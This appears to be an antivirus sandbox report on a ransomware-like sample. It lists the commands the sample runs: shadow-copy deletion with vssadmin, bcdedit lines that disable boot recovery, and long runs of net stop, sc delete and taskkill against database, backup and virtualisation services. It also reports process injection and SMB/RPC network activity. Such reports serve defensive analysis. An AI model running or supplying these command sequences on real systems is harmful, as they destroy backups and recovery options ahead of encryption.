Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
- '%WINDIR%\syswow64\net.exe' stop "SQLSERVERAGENT"
- '%WINDIR%\syswow64\taskkill.exe' /F /IM Veeam.Backup.BrokerService.exe
- '%WINDIR%\syswow64\taskkill.exe' /IM U8SmartClient.exe /F
- '%WINDIR%\syswow64\taskkill.exe' /F /IM UFIDA.U8.UAP.ReportService.exe
- '%WINDIR%\syswow64\net.exe' stop SQLWriter
- '%WINDIR%\syswow64\taskkill.exe' /IM mysqld-nt.exe /F
- '%WINDIR%\syswow64\net.exe' stop "ReportServer"
- '%WINDIR%\syswow64\net.exe' stop U8WorkerService1
- '%WINDIR%\syswow64\net.exe' stop U8WorkerService2
- '%WINDIR%\syswow64\taskkill.exe' /IM ReportingServicesService.exe /F
- '%WINDIR%\syswow64\net.exe' stop vmvss
- '%WINDIR%\syswow64\net.exe' stop "SQLTELEMETRY$HL"
- '%WINDIR%\syswow64\net.exe' stop "memcached Server"
- '%WINDIR%\syswow64\net.exe' stop "MSSQLFDLauncher$SHOPCONTROL9"
- '%WINDIR%\syswow64\net.exe' stop Apache2.4
- '%WINDIR%\syswow64\net.exe' stop UFIDAWebService
- '%WINDIR%\syswow64\net.exe' stop "igfxCUIService2.0.0.0"
- '%WINDIR%\syswow64\net.exe' stop "TMBMServer"
- '%WINDIR%\syswow64\net.exe' stop Realtek11nSU
- '%WINDIR%\syswow64\net.exe' stop xenlite
- '%WINDIR%\syswow64\net.exe' stop MSComplianceAudit
- '%WINDIR%\syswow64\net.exe' stop "MSSQL$PROGID"
- '%WINDIR%\syswow64\net.exe' stop XenSvc
- '%WINDIR%\syswow64\net.exe' stop MSExchangeADTopology
- '%WINDIR%\syswow64\net.exe' stop Apache2.2
- '%WINDIR%\syswow64\net.exe' stop MSSQL$RE_EXPRESS
- '%WINDIR%\syswow64\net.exe' stop "MSSQL$WOLTERSKLUWER"
- '%WINDIR%\syswow64\net.exe' stop "NetBackup Proxy Service"
- '%WINDIR%\syswow64\net.exe' stop "NetBackup SAN Client Fibre Transport Service"
- '%WINDIR%\syswow64\net.exe' stop "MsDtsServer100"
- '%WINDIR%\syswow64\net.exe' stop vss
- '%WINDIR%\syswow64\net.exe' stop "MSSQLServerOLAPService"
- '%WINDIR%\syswow64\taskkill.exe' /IM Tomcat7w.exe /F
- '%WINDIR%\syswow64\net.exe' stop "SQLBrowser"
- '%WINDIR%\syswow64\net.exe' stop "SQLTELEMETRY"
- '%WINDIR%\syswow64\net.exe' stop "MsDtsServer130"
- '%WINDIR%\syswow64\net.exe' stop MSSQL$
- '%WINDIR%\syswow64\net.exe' stop "SSISTELEMETRY130"
- '%WINDIR%\syswow64\net.exe' stop "MSOLAP$SHOPCONTROL9"
- '%WINDIR%\syswow64\taskkill.exe' /IM DDSoftPwsTomcat9.exe /F
- '%WINDIR%\syswow64\taskkill.exe' /F /IM Veeam.Backup.Agent.ConfigurationService.exe
- '%WINDIR%\syswow64\net.exe' stop "SQLWrite"
- '%WINDIR%\syswow64\net.exe' stop "MSSQL$SHOPCONTROL9"
- '%WINDIR%\syswow64\taskkill.exe' /F /IM UFIDA.U8.ECE.UTU.Services.exe
- '%WINDIR%\syswow64\taskkill.exe' /IM UFSoft.U8.OC.QuartzScheduler.exe /F
- '%WINDIR%\syswow64\net.exe' stop HaoZipSvc
- '%WINDIR%\syswow64\net.exe' stop "MSSQL$VEEAMSQL2012"
- '%WINDIR%\syswow64\net.exe' stop "SQLAgent$VEEAMSQL2012"
- '%WINDIR%\syswow64\net.exe' stop "SQLAgent$SHOPCONTROL9"
- '%WINDIR%\syswow64\net.exe' stop "NetBackup Client Service"
- '%WINDIR%\syswow64\net.exe' stop SQLSERVERAGENT
- '%WINDIR%\syswow64\net.exe' stop "MSSQL"
- '%WINDIR%\syswow64\net.exe' stop "NetBackup Discovery Framework"
- '%WINDIR%\syswow64\net.exe' stop "SQLAgent"
- '%WINDIR%\syswow64\net.exe' stop "NetBackup Legacy Client Service"
- '%WINDIR%\syswow64\net.exe' stop SQLBrowser
- '%WINDIR%\syswow64\net.exe' stop "MSSQLServerADHelper100"
- '%WINDIR%\syswow64\net.exe' stop "NetBackup Legacy Network Service"
- '%WINDIR%\syswow64\taskkill.exe' /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F
- '%WINDIR%\syswow64\taskkill.exe' /F /IM U8WorkerService.exe
- '%WINDIR%\syswow64\net.exe' stop "ReportServer$SHOPCONTROL9"
- '%WINDIR%\syswow64\net.exe' stop "Synology Drive VSS Service x64"
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
Modifies file system
Creates the following files
- %TEMP%\rweqyzovsmzurwezcuqfjkiller.bat
Network activity
Connects to
- '22#.0.0.22':445
- '22#.0.0.22':135
- '23#.#55.255.250':135
- '<LOCALNET>.53.1':445
- '<LOCALNET>.53.1':139
- '<LOCALNET>.53.1':135
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {current} bootstatuspolicy ignoreallfailures' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C sc delete MsDtsServer&&sc delete MSSQL$SOPHOS&&sc delete MSSQLFDLauncher&&sc delete MSSQLSERVER&&sc delete MSSQLServerADHelper100&&sc delete MSSQLServerOLAPService&&sc delete ReportServer&&s...' (with hidden window)
- '<SYSTEM32>\vssadmin.exe' delete shadows /all /quiet' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {current} recoveryenabled no' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\Rweqyzovsmzurwezcuqfjkiller.bat" "
- '%WINDIR%\syswow64\sc.exe' delete "UWS LoPriv Services"
- '%WINDIR%\syswow64\sc.exe' delete aspnet_state @sc delete Redis
- '%WINDIR%\syswow64\net1.exe' stop "ReportServer"
- '%WINDIR%\syswow64\sc.exe' delete ftnlsv3
- '%WINDIR%\syswow64\net1.exe' stop U8WorkerService1
- '%WINDIR%\syswow64\sc.exe' delete WebAttendServer
- '%WINDIR%\syswow64\sc.exe' delete OracleVssWriterORCL
- '%WINDIR%\syswow64\sc.exe' delete JhTask
- '%WINDIR%\syswow64\sc.exe' delete "Sense Shield Service"
- '%WINDIR%\syswow64\sc.exe' delete FxService
- '%WINDIR%\syswow64\sc.exe' delete MSCRMAsyncService
- '%WINDIR%\syswow64\net1.exe' stop U8WorkerService2
- '%WINDIR%\syswow64\sc.exe' delete "UtilDev Web Server Pro"
- '%WINDIR%\syswow64\net1.exe' stop vmvss
- '%WINDIR%\syswow64\sc.exe' delete "AHS SERVICE"
- '%WINDIR%\syswow64\sc.exe' config SQLWriter start=disabled
- '%WINDIR%\syswow64\sc.exe' delete OracleServiceORCL
- '%WINDIR%\syswow64\sc.exe' delete TCPIDDAService
- '%WINDIR%\syswow64\sc.exe' delete UIODetect
- '%WINDIR%\syswow64\sc.exe' config "MSSQL$PROGID" start= disabled
- '%WINDIR%\syswow64\net1.exe' stop "MsDtsServer100"
- '%WINDIR%\syswow64\net1.exe' stop "NetBackup Proxy Service"
- '%WINDIR%\syswow64\sc.exe' config vss start=disabled
- '%WINDIR%\syswow64\sc.exe' delete "eCard-TTransServer"
- '%WINDIR%\syswow64\sc.exe' delete REPLICA
- '%WINDIR%\syswow64\sc.exe' delete MsDtsServer
- '%WINDIR%\syswow64\sc.exe' delete ftnlses3
- '%WINDIR%\syswow64\net1.exe' stop "NetBackup SAN Client Fibre Transport Service"
- '%WINDIR%\syswow64\sc.exe' delete UI0Detect
- '%WINDIR%\syswow64\sc.exe' delete OracleOraDb11g_home1ClrAgent
- '%WINDIR%\syswow64\net1.exe' stop SQLWriter
- '%WINDIR%\syswow64\sc.exe' delete K3MobileService
- '%WINDIR%\syswow64\sc.exe' delete OracleOraDb11g_home1TNSListener
- '%WINDIR%\syswow64\sc.exe' delete eCardMPService
- '%WINDIR%\syswow64\sc.exe' delete EnergyDataService
- '%WINDIR%\syswow64\sc.exe' delete RabbitMQ
- '%WINDIR%\syswow64\net1.exe' stop "NetBackup Client Service"
- '%WINDIR%\syswow64\net1.exe' stop "SQLTELEMETRY$HL"
- '%WINDIR%\syswow64\sc.exe' config MSSQL$FE_EXPRESS start= disabled
- '%WINDIR%\syswow64\sc.exe' delete VMAuthdService
- '%WINDIR%\syswow64\sc.exe' delete MCService
- '%WINDIR%\syswow64\sc.exe' delete "ZTE USBIP Client"
- '%WINDIR%\syswow64\net1.exe' stop xenlite
- '%WINDIR%\syswow64\net1.exe' stop MSComplianceAudit
- '%WINDIR%\syswow64\sc.exe' delete RTCDATAMCU
- '%WINDIR%\syswow64\net1.exe' stop UFIDAWebService
- '%WINDIR%\syswow64\sc.exe' delete "DAService_TCP"
- '%WINDIR%\syswow64\net1.exe' stop Realtek11nSU
- '%WINDIR%\syswow64\net1.exe' stop MSExchangeADTopology
- '%WINDIR%\syswow64\sc.exe' delete VMUSBArbService
- '%WINDIR%\syswow64\sc.exe' delete "ZTE FileTranS"
- '%WINDIR%\syswow64\net1.exe' stop Apache2.2
- '%WINDIR%\syswow64\net1.exe' stop MSSQL$RE_EXPRESS
- '%WINDIR%\syswow64\sc.exe' delete RTCCDR
- '%WINDIR%\syswow64\sc.exe' delete TPlusStdAppService1300
- '%WINDIR%\syswow64\net1.exe' stop "MSSQL$PROGID"
- '%WINDIR%\syswow64\sc.exe' delete ReportServer
- '%WINDIR%\syswow64\sc.exe' delete XT800Service_Personal
- '%WINDIR%\syswow64\sc.exe' delete SSSyncService
- '%WINDIR%\syswow64\sc.exe' delete RTCATS
- '%WINDIR%\syswow64\sc.exe' delete ftusbrdsrv
- '%WINDIR%\syswow64\sc.exe' delete ImeDictUpdateService
- '%WINDIR%\syswow64\sc.exe' delete RTCAVMCU
- '%WINDIR%\syswow64\net1.exe' stop Apache2.4
- '%WINDIR%\syswow64\sc.exe' delete SSMonitorService
- '%WINDIR%\syswow64\sc.exe' delete "ZTE USBIP Client Guard"
- '%WINDIR%\syswow64\sc.exe' delete ftusbrdwks
- '%WINDIR%\syswow64\net1.exe' stop "memcached Server"
- '%WINDIR%\syswow64\sc.exe' delete RTCMEETINGMCU
- '%WINDIR%\syswow64\sc.exe' delete "wanxiao-monitor"
- '%WINDIR%\syswow64\sc.exe' config vmvss start=disabled
- '%WINDIR%\syswow64\net1.exe' stop "igfxCUIService2.0.0.0"
- '%WINDIR%\syswow64\net1.exe' stop "TMBMServer"
- '%WINDIR%\syswow64\sc.exe' delete RTCIMMCU
- '%WINDIR%\syswow64\net1.exe' stop HaoZipSvc
- '%WINDIR%\syswow64\sc.exe' delete RtcQms
- '%WINDIR%\syswow64\net1.exe' stop vss
- '%WINDIR%\syswow64\sc.exe' delete TeamViewer
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @t...
- '%WINDIR%\syswow64\sc.exe' delete "XT800Service_Personal"
- '%WINDIR%\syswow64\sc.exe' config "SQLWriter" start= disabled
- '%WINDIR%\syswow64\net1.exe' stop "SQLWrite"
- '%WINDIR%\syswow64\sc.exe' delete SQLSERVERAGENT
- '%WINDIR%\syswow64\cmd.exe' /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDA...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusb...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delet...
- '%WINDIR%\syswow64\net1.exe' stop "MSOLAP$SHOPCONTROL9"
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @taskkill /IM ReportingServicesService.exe /F & @sc delete "SQL Server Reporting Services" & @sc delete MSSQLFDLauncher & @taskkill /IM U8CEServer.exe /F & @taskkill /IM ServerNT....
- '%WINDIR%\syswow64\sc.exe' delete SQLWriter
- '%WINDIR%\syswow64\sc.exe' config "SQLAgent$VEEAMSQL2012" start= disabled
- '%WINDIR%\syswow64\net1.exe' stop "MSSQLFDLauncher$SHOPCONTROL9"
- '%WINDIR%\syswow64\sc.exe' delete SQLBrowser
- '%WINDIR%\syswow64\sc.exe' config "MSSQL" start= disabled
- '%WINDIR%\syswow64\net1.exe' stop "MSSQL$SHOPCONTROL9"
- '%WINDIR%\syswow64\sc.exe' config "MSSQL$VEEAMSQL2012" start= disabled
- '%WINDIR%\syswow64\net1.exe' stop "MSSQL$VEEAMSQL2012"
- '%WINDIR%\syswow64\net1.exe' stop "MSSQL$WOLTERSKLUWER"
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc ...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & sc config "SQLWriter" start= disabled & sc config "MSSQL$VEEAMSQL2012" start= disabled & sc config "SQLAgent$VEEAMSQL2012" start= disabled & sc config "MSSQL" start= disabled ...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & taskkill /F /IM U8WorkerService.exe & taskkill /F /IM UFIDA.U8.ECE.UTU.Services.exe & taskkill /F /IM UFIDA.U8.UAP.ReportService.exe & taskkill /F /IM U8AllAuthServer.exe & taskki...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & sc config MSSQLSERVER start=disabled & sc config "SQL Server (MSSQLSERVER)" start=disabled & net stop MSSQL$ & sc config MSSQL$ start=disabled & net stop SQLSERVERAGENT & sc confi...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe & taskkill /F /IM Veeam.Backup.BrokerService.exe & taskkill /F /IM Veeam.Backup.CatalogDataService.exe & taskkill /...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & net stop "MSOLAP$SHOPCONTROL9" & net stop "MSSQL$SHOPCONTROL9" & net stop "MSSQLFDLauncher$SHOPCONTROL9" & net stop "ReportServer$SHOPCONTROL9" & net stop "SQLAgent$SHOPCONTRO...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & @taskkill /IM Tomcat7w.exe /F & @taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F & @taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F & @taskkill /IM Launchpad.exe /F & @tas...
- '%WINDIR%\syswow64\net1.exe' stop "MsDtsServer130"
- '%WINDIR%\syswow64\net1.exe' stop MSSQL$
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & @taskkill /IM DDSoftPwsTomcat9.exe /F & @taskkill /IM U8SmartClient.exe /F & @taskkill /IM U8SmartClientMonitor.exe /F & @taskkill /IM tomcat9.exe /F & @taskkill /IM SqlManage...
- '%WINDIR%\syswow64\net1.exe' stop "SQLSERVERAGENT"
- '%WINDIR%\syswow64\sc.exe' config MSSQLSERVER start=disabled
- '%WINDIR%\syswow64\net1.exe' stop "SQLBrowser"
- '%WINDIR%\syswow64\sc.exe' config "SQL Server (MSSQLSERVER)" start=disabled
- '%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'
- '%WINDIR%\syswow64\net1.exe' stop "SQLTELEMETRY"
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & net stop "SQLSERVERAGENT" & net stop "SQLBrowser" & net stop "SQLTELEMETRY" & net stop "MsDtsServer130" & net stop "SSISTELEMETRY130" & net stop "SQLWrite" & net stop "MSSQL$V...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc d...
- '%WINDIR%\syswow64\net1.exe' stop XenSvc
- '%WINDIR%\syswow64\cmd.exe' /C sc delete MsDtsServer&&sc delete MSSQL$SOPHOS&&sc delete MSSQLFDLauncher&&sc delete MSSQLSERVER&&sc delete MSSQLServerADHelper100&&sc delete MSSQLServerOLAPService&&sc delete ReportServer&&s...
- '%WINDIR%\syswow64\cmd.exe' /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop ...
- '%WINDIR%\syswow64\cmd.exe' /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer ...
- '%WINDIR%\syswow64\sc.exe' delete VGAuthService
- '%WINDIR%\syswow64\net1.exe' stop SQLBrowser
- '%WINDIR%\syswow64\sc.exe' config "ReportServer" start= disabled
- '%WINDIR%\syswow64\net1.exe' stop "MSSQLServerADHelper100"
- '%WINDIR%\syswow64\sc.exe' config "SQLTELEMETRY$HL" start= disabled
- '%WINDIR%\syswow64\sc.exe' config MSSQL$ start=disabled
- '%WINDIR%\syswow64\net1.exe' stop "NetBackup Legacy Client Service"
- '%WINDIR%\syswow64\net1.exe' stop "SQLAgent"
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM Veeam.Backup...
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & ...
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_ma...
- '%WINDIR%\syswow64\cmd.exe' /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill...
- '%WINDIR%\syswow64\net1.exe' stop "MSSQLServerOLAPService"
- '%WINDIR%\syswow64\sc.exe' config "TMBMServer" start= disabled
- '%WINDIR%\syswow64\sc.exe' delete MSDTC
- '%WINDIR%\syswow64\net1.exe' stop "NetBackup Legacy Network Service"
- '%WINDIR%\syswow64\sc.exe' delete MSSQLFDLauncher
- '%WINDIR%\syswow64\sc.exe' config SQLBrowser start=disabled
- '%WINDIR%\syswow64\net1.exe' stop "SSISTELEMETRY130"
- '%WINDIR%\syswow64\net1.exe' stop "ReportServer$SHOPCONTROL9"
- '%WINDIR%\syswow64\sc.exe' config "SQLAgent" start= disabled
- '%WINDIR%\syswow64\sc.exe' delete MSSQLSERVER
- '%WINDIR%\syswow64\net1.exe' stop "SQLAgent$VEEAMSQL2012"
- '%WINDIR%\syswow64\net1.exe' stop "SQLAgent$SHOPCONTROL9"
- '%WINDIR%\syswow64\sc.exe' config "MSSQLServerADHelper100" start= disabled
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {current} recoveryenabled no
- '%WINDIR%\syswow64\sc.exe' delete VMTools
- '%WINDIR%\syswow64\sc.exe' config "MsDtsServer100" start= disabled
- '%WINDIR%\syswow64\sc.exe' config "MSSQLServerOLAPService" start= disabled
- '%WINDIR%\syswow64\cmd.exe' /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Servi...
- '%WINDIR%\syswow64\sc.exe' delete MSSQLServerOLAPService
- '%WINDIR%\syswow64\net1.exe' stop "MSSQL"
- '%WINDIR%\syswow64\net1.exe' stop "NetBackup Discovery Framework"
- '%WINDIR%\syswow64\sc.exe' config SQLSERVERAGENT start=disabled
- '%WINDIR%\syswow64\sc.exe' delete QcSoftService
- '%WINDIR%\syswow64\net1.exe' stop SQLSERVERAGENT
- '%WINDIR%\syswow64\net1.exe' stop "Synology Drive VSS Service x64"
